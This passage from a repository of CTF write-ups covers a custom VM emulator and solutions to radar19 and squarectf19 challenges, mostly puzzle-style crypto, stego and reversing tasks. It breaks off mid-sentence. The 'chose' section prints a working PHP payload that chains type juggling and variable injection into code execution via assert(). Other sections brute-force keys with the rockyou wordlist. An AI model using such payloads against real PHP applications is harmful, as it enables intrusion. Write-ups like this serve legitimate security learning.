r{arg1}, r{arg2}"); self.regs[arg1] = (e + n) & 0xFF ; print([chr(e),chr(n)]) 77 | elif op == 6: print(f"MINUS r{arg1}, r{arg2}"); self.regs[arg1] = (e - n) & 0xFF ; print([chr(e),chr(n)]) 78 | else: assert False 79 | 80 | 81 | elif op_class == 6: 82 | if op == 0: 83 | print(f"LES r{arg1}") 84 | if len(self.inp) == 0: assert False, "Programmet gikk tom for føde" 85 | self.regs[arg1] = self.inp.pop(0) 86 | elif op == 1: 87 | print(f"SKRIV r{arg1}") 88 | self.out += bytes([self.regs[arg1]]) 89 | else: assert False, op 90 | 91 | elif op_class == 7: 92 | e = self.regs[arg1] 93 | n = self.regs[arg2] 94 | if op == 0: print(f"LIK r{arg1}, r{arg2}"); self.flag = (e == n); print([chr(e),chr(n)]) 95 | elif op == 1: print(f"ULIK r{arg1}, r{arg2}"); self.flag = (e != n); print([chr(e),chr(n)]) 96 | elif op == 2: print(f"ME r{arg1}, r{arg2}"); self.flag = (e < n) ; print([chr(e),chr(n)]) 97 | elif op == 3: print(f"MEL r{arg1}, r{arg2}"); self.flag = (e <= n); print([chr(e),chr(n)]) 98 | elif op == 4: print(f"SE r{arg1}, r{arg2}"); self.flag = (e > n) ; print([chr(e),chr(n)]) 99 | elif op == 5: print(f"SEL r{arg1}, r{arg2}"); self.flag = (e >= n); print([chr(e),chr(n)]) 100 | else: assert False 101 | 102 | elif op_class == 8: 103 | print(f"HOPP {hex(addr)}") 104 | self.pc = addr - 2 105 | 106 | elif op_class == 9: 107 | print(f"BHOPP {self.flag} {addr}") 108 | if self.flag: 109 | self.pc = addr - 2 110 | 111 | elif op_class == 10: 112 | print(f"TUR {self.flag} {addr}") 113 | if len(self.returns) > 1000: 114 | assert False, "For mange funksjonskall inni hverandre" 115 | self.returns.append(self.pc) 116 | self.pc = addr - 2 117 | 118 | elif op_class == 11: 119 | print(f"RETUR {hex(self.returns[-1])}") 120 | self.pc = self.returns.pop() 121 | 122 | elif op_class == 12: 123 | print("NOPE") 124 | 125 | else: 126 | print(f"Invalid instruction {hex(op_class)}") 127 | self.running = False 128 | 129 | 130 | 131 | # self.disp() 132 | self.pc += 2 133 | 134 | if len(sys.argv) >= 2: 135 | rom = open(sys.argv[1], "rb").read() 136 | inp = b"" 137 | if len(sys.argv) == 3: 138 | inp = sys.argv[2].encode() 139 | # inp = bytes.fromhex(sys.argv[2]) 140 | else: 141 | rom = open("spst.s8", "rb").read() 142 | inp = bytes.fromhex("1729abc3f3b894366b27aff3c51b1dd0d0cec6b199b8def70c92d257ea228ee183ee6524") 143 | 144 | assert rom.startswith(b".SLEDE8") 145 | cpu = CPU(rom=rom[7:], inp=inp) 146 | cpu.run() 147 | print(cpu.out) -------------------------------------------------------------------------------- /npst21/18.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/18.png -------------------------------------------------------------------------------- /npst21/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/2.png -------------------------------------------------------------------------------- /npst21/23-egg-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/23-egg-1.png -------------------------------------------------------------------------------- /npst21/23-egg-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/23-egg-2.png -------------------------------------------------------------------------------- /npst21/24-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/24-1.png -------------------------------------------------------------------------------- /npst21/8_comb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/8_comb.png -------------------------------------------------------------------------------- /npst21/Rudolf.png_Red_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/Rudolf.png_Red_2.png -------------------------------------------------------------------------------- /npst21/frimerke.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/frimerke.png -------------------------------------------------------------------------------- /npst21/frimerke.png_Blue_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/frimerke.png_Blue_0.png -------------------------------------------------------------------------------- /npst21/frimerke.png_Green_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/frimerke.png_Green_0.png -------------------------------------------------------------------------------- /npst21/frimerke.png_Red_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/frimerke.png_Red_0.png -------------------------------------------------------------------------------- /npst21/image-20211220204726289.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/image-20211220204726289.png -------------------------------------------------------------------------------- /npst21/image-20211220210526716.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/image-20211220210526716.png -------------------------------------------------------------------------------- /npst21/image-20211222011325765.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/image-20211222011325765.png -------------------------------------------------------------------------------- /npst21/nisse_cipher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/npst21/nisse_cipher.png -------------------------------------------------------------------------------- /phst23/3-Green_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/phst23/3-Green_0.png -------------------------------------------------------------------------------- /phst23/3-bilde.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/phst23/3-bilde.png -------------------------------------------------------------------------------- /phst23/3-egg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/phst23/3-egg.png -------------------------------------------------------------------------------- /phst23/3-stereogram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/phst23/3-stereogram.png -------------------------------------------------------------------------------- /phst23/8-dcode-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/phst23/8-dcode-image.png -------------------------------------------------------------------------------- /phst23/instructions.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/phst23/instructions.jpg -------------------------------------------------------------------------------- /radar19/QRadar1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/radar19/QRadar1.png -------------------------------------------------------------------------------- /radar19/QRadar2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/radar19/QRadar2.png -------------------------------------------------------------------------------- /radar19/README.md: -------------------------------------------------------------------------------- 1 | # AES 2 | 3 | The code was copied nearly verbatim from https://stackoverflow.com/a/54024595. From initial analysis, this code does not contain any huge mistakes that would comprimise security. Which means we'll have to brute-force the key. 4 | 5 | ```python 6 | encdata = open("flag.enc").read() 7 | 8 | for line in open("../../wordlists/rockyou.txt").readlines(): 9 | flag = "" 10 | try: 11 | flag = AESCipher(encdata,line.rstrip()).decrypt() 12 | except Exception: 13 | pass 14 | if "radar" in flag: 15 | print(line, flag) 16 | break 17 | ``` 18 | 19 | # Black 20 | 21 | We are given a seemingly black image. Simply opening the photo in an mspaint-like editor and using the pain bucket tool (with white color) reveals the flag near the bottom. There are also multiple tools that can analyze the layers and find it, but in this case it wasn't needed. 22 | 23 | `radar{reverse_color_give_flag}` 24 | 25 | # blanks 26 | 27 | We have a file with tabs and spaces. Replace tabs with `0` and spaces with `1` and you get a binary string. Unfortunately, there are some missing bits near the end, but we know that the last byte should be a `}`. Simply remove the last `6` bits and decode as binary. 28 | 29 | `radar{blanks_but_not_blankz}` 30 | 31 | # chose 32 | 33 | The first version of this challenge looked like this: 34 | 35 | ```php 36 | $hack_the_planet){$$lol = $hack_the_planet;}} 50 | $v = "2";$m="?v"; 51 | if($$m !== $s1){die("whaaaa XD\n");} 52 | assert_options(ASSERT_BAIL, 1); 53 | assert("$yy == $xx"); 54 | echo "Good Job ;)"; 55 | ?> 56 | ``` 57 | 58 | The goal is to reach the assert() function, which acts as an `eval()` that we can use to read the `flag.php` file. To accomplish this, we must accomplish the following: 59 | 60 | * Provide a file that contains "0" to pass the file_get_contents check. 61 | * Provide input parameter sec1 such that the integer value of sec1 is 1337, but also not be equal to the number 1337. 62 | * (Optionally) provide another input parameter sec2 of length 42 that matches a regex that seemingly matches a number, but then also not be numeric. It should however be equal to 1337 when casted to a number. If we can do this, we can set the `$xx` variable needed later. 63 | * (Optionally) Provide input parameter xx such that `substr($xx, 42) === sha1($xx)`. If we can do this, we can set any PHP variable through input parameters. 64 | * Make sure that the variable named `s1` is equal to the variable named `?v`. 65 | 66 | There are a few catches with the code. One is that the regex check is not using a normal `$` that would signify the end of the string, but a unicode look-alike. `file_get_contents` can also accept `data:,0` instead of just files. To pass the `sha1` check, we can make `xx` an array, as `sha1([]) === substr([], 42)`. Finally, to pass the last check, we need to pass the optional check that lets us set arbitrary PHP variables, and set one called `?v`. 67 | 68 | The final payload looks like this: 69 | 70 | `?chose=data%3A%2C0&sec1=1337&sec2=000000000000000000000000000000000001337$&?v=000000000000000000000000000000000001337$&xx[]=&yy=` 71 | 72 | Where whatever you put in `yy` will be evaluated as PHP code, and can be used to read the flag. Unfortunately, the arranging team hosted this on the same server as the scoring system, and hadn't secured the challenge instance from the rest of the system. This led to this task being disabled, and any team that reported the RCE "mistake" was awarded 2000 points. 73 | 74 | 75 | # EasyCrypto 76 | 77 | We are given a bunch of binary segments. Reversing each of them, then decoding to ASCII, reveals a reversed flag. 78 | 79 | ```python 80 | print(''.join(map(chr,[int(e[::-1],2) for e in "10111110 11100110 00101100 00110110 01100110 11111010 10011110 11001110 10000110 10100110 11111010 11001100 01101110 10010110 11100110 11111010 11001110 10100110 10010110 01001110 10000110 01110110 10010110 01000110 11111010 10011110 10101100 10000110 10100110 11011110 01001110 10000110 00100110 10000110 01001110".split(' ')])[::-1])) 81 | ``` 82 | 83 | `radar{ea5y_binaries_giv3_easy_fl4g}` 84 | 85 | 86 | # EasyReverse 87 | 88 | Opening `EasyReverse.exe` in dotPeek reveals the flag calculation function. 89 | 90 | ``` 91 | public object flag() 92 | { 93 | string str1 = "radar"; 94 | string str2 = "{"; 95 | string str3 = "}"; 96 | string str4 = "_"; 97 | string str5 = "flagino"; 98 | string str6 = "flago"; 99 | str1 + str2 + str5 + str4 + str6 + str4 + str6 + str3; 100 | return (object) (str1 + str2 + str5 + str6 + str3); 101 | } 102 | ``` 103 | 104 | The flag here was actually not what was being returned, but the calculation above it. 105 | `radar{flagino_flago_flago}` 106 | 107 | # EasyWeb 108 | 109 | A guessing challenge. The source of the website reveals `index.php?secretword=`. Guessing a few times we end up with the secret word being `radar` and we get the flag. 110 | 111 | # Forbidd3n 112 | 113 | The challenge wants us to access `/cgi-bin/`, but all we try gives 403 forbidden. After a hint is given out, we realise that `/` is actually mapped to `/~vulngeek/`, so we can access `cgi-bin` through `/~vulngeek/cgi-bin/` 114 | 115 | # Hawking 116 | 117 | Steghide. Can't remember the password, but it was something like `hawking` or `radar` - one of the first things to try. 118 | 119 | `radar{h4wking_revealed_a_lot_of_secrets}` 120 | 121 | # Ocean 122 | 123 | We are given the file `unknown.zip` which is password protected. Basic cracking reveals that the password is `loveyou`. Inside is a file that we identified as a KML file with coordinates. This can be imported into Google maps. 124 | 125 | ![Map](ocean.png) 126 | 127 | # QRadar 128 | 129 | This one was a bit difficult to understand at first. We get this image with seemingly 4 QR codes or pieces of QR codes. 130 | 131 | ![QRadar before](QRadar1.png) 132 | 133 | Turns out they're all the same QR code, just copy-pasted around a bit, and 3 of them have been written on. I used the upper-left image as a base, rotated it 90 degrees anti-clockwise, and manually restored the missing corners. 134 | 135 | ![QRadar after](QRadar2.png) 136 | 137 | # RadarEncrypt 138 | 139 | You don't really need to decompile this one, as you can quickly discover the algorithm by just playing around with the program. Here you give some input, then a key that contains every unique character from the input. The output is each character in the plaintext's index in the key field, separated with `:`. We are given the pattern in the text file, so this one is fairly easy. 140 | 141 | ```python 142 | print(''.join(["{qwertyuiopas_dfghjklzxcvbnm}"[i] for i in map(int,"4:11:14:11:4:0:8:26:14:3:22:13:9:15:13:27:11:19:3:13:12:27:11:20:20:13:23:4:6:10:5:9:4:28".split(':'))])) 143 | ``` 144 | 145 | `radar{index_of_make_small_cryptor}` 146 | 147 | # RADARXORING 148 | 149 | After a lot of reversing by a team-mate, the algorithm of this one was discovered to be as follows: The input password should be 8 characters, and the program calculates the MD5 hash of this password. It then takes the first 8 bytes of this hash and use it as a repeating XOR key. The key is applied to a huge binary blob contained in the program, and if the MD5 of this blob is `96f4d051b29f66a7f5934fe35f6aaf0b` after the XOR operation, the password is said to be correct, and the file `flag.bin` is written to disk. 150 | 151 | Here we have three approaches: 152 | 153 | * 1. Brute-force the password (keyspace 62^8) 154 | * 2. Brute-force the key (keyspace 16^8) 155 | * 3. Analyze the blob and determine the file type, then 2. for the rest. 156 | 157 | I patched the binary to always dump the `flag.bin` regardless, and found that there were a LOT of repeating patterns. But it wasn't until I zoomed out really far in my editor that I noticed the pattern: a QR code! Knowing this, we were able to figure out that there are only a few valid characters in the file. Something to represent black, something to represent white, and newline characters. Fixing up the patterns a bit, we ended up with a text file with 500 lines with 500 characters on each. Plotting this with Python's PIL was fairly trivial from there on. 158 | 159 | # Random 160 | 161 | The PHP code generates a random number between 1 and 9, then subtracts this from each character's value in the flag. Finally it appends `ord(random_number)+49` to the end of the string. Here, the random number is found to be 5. 162 | 163 | ```python 164 | print(''.join(map(chr,[e+5 for e in map(int,"109.92.95.92.109.118.109.92.105.95.90.100.110.90.105.106.111.90.98.106.106.95.90.100.95.96.92.90.103.106.103.120.102".split('.'))]))) 165 | ``` 166 | `radar{rand_is_not_good_idea_lol}` 167 | 168 | # RSA 169 | 170 | The RSA step of this challenge was trivial (the `factor` tool cracked `n` in milliseconds), but the guessing step that followed it was not immediately obvious. What you had to do, was to split each 6-digit number into 3x 2-digit numbers, then treat those as integer values for characters. Mashing them all together revealed a base32-encoded string, which again decoded into a bunch of numbers. Those numbers represented the integer values for the flag. Full code here: 171 | 172 | ```python 173 | from base64 import b32decode 174 | 175 | def egcd(a, b): 176 | if a == 0: 177 | return (b, 0, 1) 178 | g, y, x = egcd(b%a,a) 179 | return (g, x - (b//a) * y, y) 180 | 181 | def modinv(a, m): 182 | g, x, y = egcd(a, m) 183 | if g != 1: 184 | raise Exception('No modular inverse') 185 | return x%m 186 | 187 | n = 7576962585305391589 188 | p = 2045145391 189 | q = 3704852779 190 | e = 65537 191 | phi = (p-1)*(q-1) 192 | d = modinv(e, phi) 193 | assert n == p*q 194 | 195 | cc = [1265683495754363029, 1422867845936871540, 7495962311923944330, 6022768970112931054, 229419552321932918, 3656561926651753920, 1772755866314518285, 3365937215125857045, 3360046468411685558, 6665584816246982093, 3989488349327732617, 1904335850816135360, 229419552321932918, 31373686508890875, 1772755866314518285, 5055644333261405616, 2288021297643029596, 4671539261359863152, 6643261674820189024, 2766406176382193863, 1642404682569206145, 4025985104428009243, 5398532251800069162, 1221909921620717475, 2288021297643029596, 4671539261359863152, 664769064133108811, 2766406176382193863, 515730720669796421, 4822403277214863482, 4131241857203411167, 1873316133056870954, 6851707709007888739, 2526668656292689836, 3596520484061456107, 5493129668520855853, 1259752622063528705, 5484928886036822898, 4688751828022785921, 3365937215125857045, 3360046468411685558, 3958106079999151020, 5523706116292801963, 5055277716378667184, 3031183450926368572, 267859843632490692, 1852208473064098919, 888076521181220671, 6238421347230771761, 5942983273531489288, 140608813077386938, 2849086260420177433, 7178491026098905107, 3316744354054117337, 1764251739829230819, 339799054600629373] 196 | 197 | res = "" 198 | 199 | for c in cc: 200 | m = str(pow(c,d,n)) 201 | intval = map(int,[m[0:2],m[2:4],m[4:]]) 202 | res += ''.join(map(chr,intval)) 203 | 204 | print(''.join(map(chr,map(int,b32decode(res).split(' '))))) 205 | ``` 206 | 207 | 208 | # Scattered 1 209 | 210 | Included was 576x jpg images named 1..576. Each of them included a single letter in the upper-left corner. After some cursory investigations, I found that a lof of the images shared the same MD5 sum, and that all that did had the same letter. Turned out that the solution was to take the letter from image 1,2,3...576 and append onto each other. That string would then be a base64 encoded string. Unfortunately, the images for `l` and `I` were 100% equal, down to the md5sum, so this gave some corruption. 211 | 212 | Not being able to get tesseract working properly, I opted to manually create a mapping between md5sums and the character it represented. 213 | 214 | ```python 215 | import hashlib 216 | from manualmap import manual 217 | 218 | def md5(fname): 219 | hash_md5 = hashlib.md5() 220 | with open(fname, "rb") as f: 221 | for chunk in iter(lambda: f.read(4096), b""): 222 | hash_md5.update(chunk) 223 | return hash_md5.hexdigest() 224 | 225 | lookup = {} 226 | for c,ix in manual.items(): 227 | if ix != 0: 228 | h = md5("Scattered/%d.jpg" % ix) 229 | assert h not in lookup 230 | lookup[h] = c 231 | 232 | res = "" 233 | 234 | for i in range(1,577): 235 | h = md5("Scattered/%d.jpg" % i) 236 | if h in lookup: 237 | res += lookup[h] 238 | else: 239 | print(i, h) 240 | break 241 | 242 | print((res+"==").decode('base-64')) 243 | ``` 244 | 245 | `radar{programming_is_important_good_job_bro}` 246 | 247 | # Scattered 2 248 | 249 | Scattered2 was the same as Scattered1, except the images had a number on them (destroying the md5sum approach), and randomized names. The goal was to take the letter from the image marked as 1,2,3... and do the base64 dance again. 250 | 251 | While tesseract was able to discover the numbers, it did not have a 100% success rate, which could've led to some frustrating errors. Instead, I opted to just sort the images into buckets of 50 and do this challenge manually. I solved some pieces here and there until I located the position of the flag (near the end), then expanded the search for images in both directions. 252 | 253 | `radar{pro_programmer_get_pro_flag_wow}` -------------------------------------------------------------------------------- /radar19/all_challenges.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/radar19/all_challenges.zip -------------------------------------------------------------------------------- /radar19/ocean.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/radar19/ocean.png -------------------------------------------------------------------------------- /river21/07-challenge.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/river21/07-challenge.jpg -------------------------------------------------------------------------------- /river21/07-thumb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/river21/07-thumb.jpg -------------------------------------------------------------------------------- /squarectf19/README.md: -------------------------------------------------------------------------------- 1 | # Talk to me (100p) [ruby] 2 | 3 | In this challenge, you're given the address and port to a telnet server. Connecting to it, you get a `Hello!` from the server. When you enter something back, it will either print an error, the message `I wish you would greet me the way I greeted you.` or `I can't understand you`. Experimenting a bit with the inputs, it looks like the code is doing something like `eval(input).match(...)`, except if it detects any letter it will not eval your input, but send the "I can't understand you". [This article](https://threeifbywhiskey.github.io/2014/03/05/non-alphanumeric-ruby-for-fun-and-not-much-else/) describes how you can write ruby code without letters, and since we are able to use the quote sign `'`, we can create strings with the shovel operator trick they describe. After many failed attempts at RCE, I realized that the program actually wanted me to write "Hello!" back. The solution then becomes `''<<72<<101<<108<<108<<111<<33`. 4 | 5 | 6 | # Aesni (700p) [binary] 7 | Opening this binary in a disassembler only shows a single function, which seems to decrypt some code (using the AESENC instruction), then jumping to the decrypted code. Following the code in a debugger, we can see that this loop is actually running multiple times. It exits early if no arguments are given to the program, so we have to provide one. Simply single-stepping through the code, I see that the string `ThIs-iS-fInE` is loaded into a register and used in a comparison. If we give this as a param, the flag is returned. 8 | 9 | ``` 10 | root@2f4b836ef375:/ctf/work# ./aesni ThIs-iS-fInE 11 | flag-cdce7e89a7607239 12 | ``` 13 | 14 | # Decode me (150p) [snake oil] 15 | We're given a .pyc file (Python bytecode) and an "encoded" PNG file. The pyc file is easily reversed with uncompyle6 and looks like this: 16 | 17 | ```python 18 | import base64, string, sys 19 | from random import shuffle 20 | 21 | def encode(f, inp): 22 | s = string.printable 23 | init = lambda : (list(s), []) 24 | bag, buf = init() 25 | for x in inp: 26 | if x not in s: 27 | continue 28 | while True: 29 | r = bag[0] 30 | bag.remove(r) 31 | diff = (ord(x) - ord(r) + len(s)) % len(s) 32 | if diff == 0 or len(bag) == 0: 33 | shuffle(buf) 34 | f.write(('').join(buf)) 35 | f.write('\x00') 36 | bag, buf = init() 37 | shuffle(bag) 38 | else: 39 | break 40 | 41 | buf.extend(r * (diff - 1)) 42 | f.write(r) 43 | 44 | shuffle(buf) 45 | f.write(('').join(buf)) 46 | 47 | 48 | if __name__ == '__main__': 49 | with open(sys.argv[1], 'rb') as (r): 50 | w = open(sys.argv[1] + '.enc', 'wb') 51 | b64 = base64.b64encode(r.read()) 52 | encode(w, b64) 53 | ``` 54 | 55 | At first glance, this code looks impossible to reverse due to its heavy use of shuffle(), and the fact that it might terminate early if `diff == 0`, giving blocks that are uneven in length. But the algorithm here is actually fairly straight-forward; base64-encode the input, initialize a permutation of all the printable characters, and *remove* one by one character from the permutation. For each letter you remove, measure the distance to the current input byte, and add (diff-1) of the removed letter to a temporary buffer. That means that if the input was an 'a', and you removed a 'g' from the permutation list, it would add `ord('g')-ord('a')-1` of the letter "g" to the temprary buffer. Once the permutation list is empty, or you run into a situation where the removed letter matches the input, the entire temporary buffer is *shuffled*, then added to the output (followed by a null-byte). 56 | 57 | To reverse this, we need to differentiate the removed letters from the temporary buffer in the output. These two form one "block", and there are multiple blocks delimited by a null-byte in the output. Since each letter is actually removed from the permutation when encoding, we can simply take one by one letter until we find a duplicate letter that we've seen before. This marks the divide between `bag` and `buf`. The rest is simply counting the number of occurences of each letter from `bag`, as this will tell us the difference we need to add/subtract to get the real input. Because of the modulo operation, there are some bytes that could be valid ascii both as +100 and -100, but we want the one where the solution lands inside the alphabet used for base64. 58 | 59 | The final decoder looks like this: 60 | ```python 61 | from string import printable 62 | 63 | #PNG header b64 iVBORw0KGg 64 | b64alpha = map(ord, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=") 65 | 66 | b64buf = "" 67 | data = open("decodeme.png.enc", "rb").read() 68 | 69 | e_counter = 0 70 | ix = 0 71 | while ix < len(data): 72 | r_list = [] 73 | while data[ix] not in r_list: 74 | r_list.append(data[ix]) 75 | ix += 1 76 | try: 77 | STOP = ix + data[ix:].index("\x00") 78 | except ValueError: 79 | STOP = len(data) 80 | 81 | buf = data[ix:STOP] 82 | for r in r_list: 83 | if r == "\x00": continue 84 | diff = buf.count(r) + 1 85 | x = (diff + ord(r)) & 0xFF 86 | if x not in b64alpha: 87 | if 0 > (x - len(printable)): 88 | x += len(printable) 89 | else: 90 | x -= len(printable) 91 | if x not in b64alpha: 92 | print(x, ix, STOP, len(data), (diff + ord(r))) 93 | assert False 94 | b64buf += chr(x) 95 | 96 | 97 | ix = STOP + 1 98 | 99 | with open("decodeme.png", "wb") as fd: 100 | fd.write(b64buf.decode('base-64')) 101 | ``` 102 | 103 | # Inwasmble (200p) [web] 104 | 105 | We've given a link to an HTML site, where we're greeted by this box: 106 | 107 | ![Input box](inwasmble-1.png) 108 | 109 | At first glance, the code seems to contain nothing 110 | 111 | ![WTF](inwasmble-2.png) 112 | 113 | but opening it in a text editor, reveals that it contains a ton of unicode letters that take up no space. The code actually looks like this: 114 | 115 | ```javascript 116 | var code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x05, 0x03, 0x01, 0x00, 0x01, 0x07, 0x15, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x00, 0x00, 0x0a, 0x87, 0x01, 0x01, 0x84, 0x01, 0x01, 0x04, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x02, 0x40, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x41, 0x20, 0x46, 0x0d, 0x01, 0x41, 0x02, 0x21, 0x02, 0x41, 0x00, 0x21, 0x01, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x20, 0x01, 0x46, 0x0d, 0x01, 0x20, 0x01, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6c, 0x21, 0x02, 0x20, 0x01, 0x41, 0x01, 0x6a, 0x21, 0x01, 0x0c, 0x00, 0x0b, 0x0b, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x20, 0x02, 0x41, 0x01, 0x6a, 0x36, 0x02, 0x00, 0x20, 0x00, 0x2d, 0x00, 0x00, 0x20, 0x00, 0x41, 0x80, 0x01, 0x6a, 0x2d, 0x00, 0x00, 0x73, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x2d, 0x00, 0x00, 0x47, 0x0d, 0x02, 0x20, 0x00, 0x41, 0x01, 0x6a, 0x21, 0x00, 0x0c, 0x00, 0x0b, 0x0b, 0x41, 0x01, 0x0f, 0x0b, 0x41, 0x00, 0x0b, 0x0b, 0x27, 0x01, 0x00, 0x41, 0x80, 0x01, 0x0b, 0x20, 0x4a, 0x6a, 0x5b, 0x60, 0xa0, 0x64, 0x92, 0x7d, 0xcf, 0x42, 0xeb, 0x46, 0x00, 0x17, 0xfd, 0x50, 0x31, 0x67, 0x1f, 0x27, 0x76, 0x77, 0x4e, 0x31, 0x94, 0x0e, 0x67, 0x03, 0xda, 0x19, 0xbc, 0x51]); 117 | var wa = new WebAssembly.Instance(new WebAssembly.Module(code)); 118 | var buf = new Uint8Array(wa.exports.memory.buffer); 119 | async function go() { 120 | sizes = [...[...Array(4)].keys()].map(x => x * 128); 121 | buf.set(x.value.substr(sizes[0], sizes[1]) 122 | .padEnd(sizes[1]) 123 | .split('') 124 | .map(x => x.charCodeAt(''))); 125 | if (wa.exports.validate()) { 126 | hash = await window.crypto.subtle.digest("SHA-1", buf.slice(sizes[2], sizes[3])); 127 | r.innerText = "\uD83D\uDEA9 flag-" + [...new Uint8Array(hash)].map(x => x.toString(16)) 128 | .join(''); 129 | } 130 | else { 131 | r.innerHTML = x.value == "" ? " " : "\u26D4"; 132 | } 133 | } 134 | ``` 135 | 136 | which, after running it through `wasm2js` from [binaryen](https://github.com/WebAssembly/binaryen), looks more like this 137 | 138 | ```javascript 139 | function $0() { 140 | var $i = 0, $1 = 0, $2 = 0; 141 | $i = 0; 142 | label$1 : { 143 | label$2 : { 144 | label$3 : while (1) { 145 | if (($i) == (32)) { 146 | break label$2 147 | } 148 | $2 = 2; 149 | $1 = 0; 150 | label$4 : { 151 | label$5 : while (1) { 152 | if (($i) == ($1)) { 153 | break label$4 154 | } 155 | $2 = Math_imul(HEAP32[(Math_imul($1, 4) + 256) >> 2], $2); 156 | $1 = $1 + 1; 157 | continue label$5; 158 | }; 159 | } 160 | HEAP32[(Math_imul($i, 4) + 256) >> 2] = $2 + 1; 161 | if (((HEAPU8[$i]) ^ (HEAPU8[($i + 128)])) != (HEAPU8[(Math_imul($i, 4) + 256)])) { 162 | break label$1 163 | } 164 | $i = $i + 1; 165 | continue label$3; 166 | }; 167 | } 168 | return 1; 169 | } 170 | return 0; 171 | } 172 | ``` 173 | 174 | where the global buffer at index 128 is set to the string of "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=" (after base64 decoding). 175 | 176 | A simple Python equivalent, which totally doesn't have an overflow that makes it super slow to run, can be seen here: 177 | 178 | ```python 179 | buffer = [0] * 65536 180 | buf_128 = "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=".decode('base-64') 181 | 182 | i, var1, var2 = 0, 0, 0 183 | flag = "" 184 | 185 | while True: 186 | if i == 32: 187 | break 188 | var2 = 2 189 | var1 = 0 190 | while True: 191 | if i == var1: 192 | break 193 | var2 = buffer[(var1*4+256)>>2] * var2 194 | var1 += 1 195 | buffer[(i*4+256)>>2] = var2 + 1 196 | # flag += chr(buffer[(i*4)+256] ^ ord(buf_128[i])) 197 | flag += chr(((var2 + 1) ^ ord(buf_128[i])) & 0xFF) 198 | i += 1 199 | print(flag) 200 | ``` 201 | 202 | this eventually prints out `Impossible is for the unwilling.`, and entering this into the box gives our flag. 203 | 204 | ![Solution](inwasmble-3.png) 205 | 206 | # Lockbox (600p) [go, web] 207 | 208 | We're given an image with the URL `https://lockbox-6ebc413cec10999c.squarectf.com/?id=3` on 